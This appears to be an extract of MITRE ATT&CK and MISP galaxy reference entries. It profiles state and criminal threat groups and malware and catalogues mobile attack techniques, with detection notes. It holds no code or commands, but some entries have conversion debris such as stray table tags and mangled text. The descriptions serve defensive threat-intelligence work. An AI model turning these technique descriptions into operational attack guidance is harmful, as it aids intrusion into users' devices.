[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia’s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least January 2007.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018)

**Patchwork - G0040**

[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)

APT38 - G0082

[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

APT37 - G0067

[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017), [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

RTM - G0048

[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)
OilRig - G0049

[OilRig](https://attack.mitre.org/groups/G0049) is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.

Pegasus for iOS - S0289

[Pegasus for iOS](https://attack.mitre.org/software/S0289) is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims. (Citation: Lookout-Pegasus) (Citation: PegasusCitizenLab) The Android version is tracked separately under [Pegasus for Android](https://attack.mitre.org/software/S0316).

Linux Rabbit - S0362

[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)

**Olympic Destroyer - S0365**

[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)

Shamoon - S0140

[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

Sykipot - S0018

[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: AlienVault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)

**Proxysvc - S0238**

[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus...
Group\(\text{https://attack.mitre.org/groups/G0032}\) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of \[\text{Proxysvc}\(\text{https://attack.mitre.org/software/S0238}\)] is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)

RGDoor - S0258

[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)

NotPetya - S0368

NotPetya ([https://attack.mitre.org/software/S0368](https://attack.mitre.org/software/S0368)) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance. (Citation: Talos Nyeta June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)

MITRE

Malicious SMS Message - MOB-T1057

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).

An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.

As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious SMS Message - MOB-T1057"

Malicious SMS Message - MOB-T1057 has relationships with:

Eavesdrop on Insecure Network Communication - MOB-T1042

If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Eavesdrop on Insecure Network Communication - MOB-T1042"

Table 3591. Table References

Disguise Root/Jailbreak Indicators - MOB-T1011

An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by (Citation: Rastogi) et al. (Citation: Rastogi).

(Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.

(Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Disguise Root/Jailbreak Indicators - MOB-T1011"
Device Type Discovery - MOB-T1022

On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.

Platforms: Android

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Device Type Discovery - MOB-T1022"

Premium SMS Toll Fraud - MOB-T1051

A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in (Citation: Lookout-SMS).

On iOS, apps cannot send SMS messages.

On Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).

Detection: As described in Google's Android Security 2014 Year in Review Report (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.

On Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Premium SMS Toll Fraud - MOB-T1051"
Obtain Device Cloud Backups - MOB-T1073

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google’s Android backup service or Apple’s iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple’s iCloud (Citation: Elcomsoft-EPPB).

Detection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Obtain Device Cloud Backups - MOB-T1073"

Access Sensitive Data in Device Logs - MOB-T1016

On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device’s system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.

Platforms: Android

</table>
Attack PC via USB Connection - MOB-T1030

With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.

Platforms: Android

</tr>
</tbody>
</table>

URL Scheme Hijacking - MOB-T1018

An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in (Citation: IETF-PKCE) or to phish user credentials as described in (Citation: MobileIron-XARA). Related potential security implications are described in (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.

Platforms: iOS
Exploit Enterprise Resources - MOB-T1031

Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit Enterprise Resources - MOB-T1031"

Modify System Partition - MOB-T1003

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.

Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.

Detection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.

The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices.

Samsung KNOX also provides a remote attestation capability on supported Samsung Android
As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.

Platforms: Android, iOS

**System Information Discovery - MOB-T1029**

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.

On Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).

On iOS, techniques exist for applications to programmatically access this information, for example as described in (Citation: StackOverflow-iOSVersion).

Platforms: Android, iOS

**Fake Developer Accounts - MOB-T1045**

An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Fake Developer Accounts - MOB-T1045"

Fake Developer Accounts - MOB-T1045 has relationships with:

Malicious Media Content - MOB-T1060

Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious Media Content - MOB-T1060"

Malicious Media Content - MOB-T1060 has relationships with:

App Delivered via Email Attachment - MOB-T1037

The application is delivered as an email attachment.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="App Delivered via Email Attachment - MOB-T1037"

App Delivered via Email Attachment - MOB-T1037 has relationships with:

Standard Application Layer Protocol - MOB-T1040

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.

In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Standard Application Layer Protocol - MOB-T1040"`

</tbody>
</table>

File and Directory Discovery - MOB-T1023

On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.

iOS’s security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.

Platforms: Android

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="File and Directory Discovery - MOB-T1023"`

</tr>
</tbody>
</table>

**Malicious or Vulnerable Built-in Device Functionality - MOB-T1076**

The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Malicious or Vulnerable Built-in Device Functionality - MOB-T1076"`

Malicious or Vulnerable Built-in Device Functionality - MOB-T1076 has relationships with:
Obfuscated or Encrypted Payload - MOB-T1009

An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Obfuscated or Encrypted Payload - MOB-T1009"`

User Interface Spoofing - MOB-T1014

At least three methods exist to perform User Interface Spoofing:

First, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials.

Second, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.

Third, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in (Citation: Felt-PhishingOnMobileDevices) and (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.
Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="User Interface Spoofing - MOB-T1014"

</tr>
</tbody>
</table>

**Capture SMS Messages - MOB-T1015**

A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.

On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.

On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Capture SMS Messages - MOB-T1015"

Table 3621. Table References

<table>
<thead>
<tr>

</tbody>
</table>

**Encrypt Files for Ransom - MOB-T1074**

An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.

Platforms: Android

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Encrypt Files for Ransom - MOB-T1074"
Abuse of iOS Enterprise App Signing Key - MOB-T1048

An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple’s App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).

Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple’s App Store.

Platforms: iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Abuse of iOS Enterprise App Signing Key - MOB-T1048"

Abuse of iOS Enterprise App Signing Key - MOB-T1048 has relationships with:

Local Network Configuration Discovery - MOB-T1025

On Android, details of onboard network interfaces are accessible to apps through the java.net (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).

Platforms: Android

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Local Network Configuration Discovery - MOB-T1025"
Alternate Network Mediums - MOB-T1041

Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Alternate Network Mediums - MOB-T1041"`

**Rogue Wi-Fi Access Points - MOB-T1068**

An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153).

For example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).
Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Rogue Wi-Fi Access Points - MOB-T1068"

### Remotely Track Device Without Authorization - MOB-T1071

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.

Detection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Remotely Track Device Without Authorization - MOB-T1071"

### Biometric Spoofing - MOB-T1063

An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-mobile-attack-attack-pattern="Biometric Spoofing - MOB-T1063"
Biometric Spoofing - MOB-T1063 has relationships with:

</tr>
</tbody>
</table>
**Access Contact List - MOB-T1035**

An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.

Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Access Contact List - MOB-T1035"`

**Stolen Developer Credentials or Signing Keys - MOB-T1044**

An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer’s identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).

Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer’s identity.

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Stolen Developer Credentials or Signing Keys - MOB-T1044"`

Stolen Developer Credentials or Signing Keys - MOB-T1044 has relationships with:

Network Traffic Capture or Redirection - MOB-T1013

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device’s proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

Detection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Network Traffic Capture or Redirection - MOB-T1013"

Access Sensitive Data or Credentials in Files - MOB-T1012

An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).

Platforms: Android, iOS
Modify Trusted Execution Environment - MOB-T1002

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device’s Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.

Thomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).

Detection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.

As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.

Platforms: Android

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify Trusted Execution Environment - MOB-T1002"

Downgrade to Insecure Protocols - MOB-T1069

An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.

Platforms: Android, iOS

Commonly Used Port - MOB-T1039

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

Platforms: Android, iOS

</table>

Access Calendar Entries - MOB-T1038

An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.

Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Access Calendar Entries - MOB-T1038"`
Remotely Wipe Data Without Authorization - MOB-T1072

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple iCloud’s Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).

Detection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Remotely Wipe Data Without Authorization - MOB-T1072"

Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052

An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker’s control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security), (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).

Detection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052"
Modify OS Kernel or Boot Partition - MOB-T1001

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.

Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.

If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.

Detection: The Android SafetyNet API’s remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.

Samsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered “if a non-Knox kernel has been loaded on the device” (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.

As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.

Many enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-mobile-attack-attack-pattern="Modify OS Kernel or Boot Partition - MOB-T1001"
Abuse Accessibility Features - MOB-T1056

A malicious app could abuse Android’s accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).

Platforms: Android

The tag is: `misp-galaxy:mitre-mobile-attack-attack-pattern="Abuse Accessibility Features - MOB-T1056"

Insecure Third-Party Libraries - MOB-T1028

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.

For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).

Platforms: Android, iOS

Insecure Third-Party Libraries - MOB-T1028 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474"` with estimative-language:likelihood-probability="almost-certain"
Download New Code at Runtime - MOB-T1010

An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis).

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView’s JavascriptInterface capability (Citation: Bromium-AndroidRCE).

